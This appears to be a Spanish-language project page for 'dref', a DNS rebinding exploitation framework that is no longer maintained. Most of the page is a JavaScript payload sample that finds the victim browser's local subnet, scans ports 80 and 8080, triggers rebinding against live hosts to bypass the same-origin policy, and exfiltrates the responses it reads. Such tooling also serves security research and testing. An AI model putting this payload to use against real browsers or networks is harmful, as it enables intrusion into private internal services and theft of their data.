
Marco de explotación de DNS Rebinding
Marco de explotación de DNS Rebinding
Este proyecto ya no se mantiene.
dref realiza el trabajo pesado para el DNS rebinding. El siguiente fragmento de uno de sus payloads integrados muestra el framework siendo utilizado para escanear una subred local desde un navegador comprometido; después de identificar servicios web activos, procede a exfiltrar respuestas GET, superando la política del mismo origen:
// mainFrame() runs first
async function mainFrame () {
// We use some tricks to derive the browser's local /24 subnet
const localSubnet = await network.getLocalSubnet(24)
// We use some more tricks to scan a couple of ports across the subnet
netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
// We launch the rebind attack on live targets
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// rebindFrame() will have target ip:port as origin
function rebindFrame () {
// After this we'll have bypassed the Same-Origin policy
session.triggerRebind().then(() => {
// We can now read the response across origin...
network.get(session.baseURL, {
successCb: (code, headers, body) => {
// ... and exfiltrate it
session.log({code: code, headers: headers, body: body})
}
})
})
}
Dirígete a la Wiki para empezar o echa un vistazo a dref atacando navegadores headless para un caso de uso práctico.
Esta es una versión de desarrollo - no usar en producción